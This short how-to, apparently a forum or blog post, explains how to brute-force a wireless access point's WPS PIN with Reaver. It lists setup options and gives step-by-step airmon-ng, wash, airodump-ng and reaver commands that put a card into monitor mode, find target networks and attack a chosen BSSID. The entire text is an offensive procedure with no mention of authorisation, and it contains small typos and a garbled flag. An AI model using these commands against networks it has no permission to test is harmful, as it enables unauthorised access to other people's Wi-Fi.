Reaver can be ran on linux and does a linux based brute for hack (attempt) on an AP.
If you have windows you can: Download kali image, download vmware player personal use version
If you have linux you can: install aircrack, reaver and you are good to go
1. Install Reaver (Google it you will get more than enough info), install aircrack $ sudo apt-get install aircrack-ng
2. Set your wireless mode
sudo airmon-ng and then start the appropriate card. Normaly wlan0 by sudo airmon-ng start wlan0
3. sudo wash -i mon0 or try sudo wash -i mon0 –ignore-fcs might solves the issue, or try sudo airodump-ng mon0
4. run sudo reaver -i mon0 -b XX:XX:XX:XX:XX:XX where the xx:…. is the BSID from wash or airdump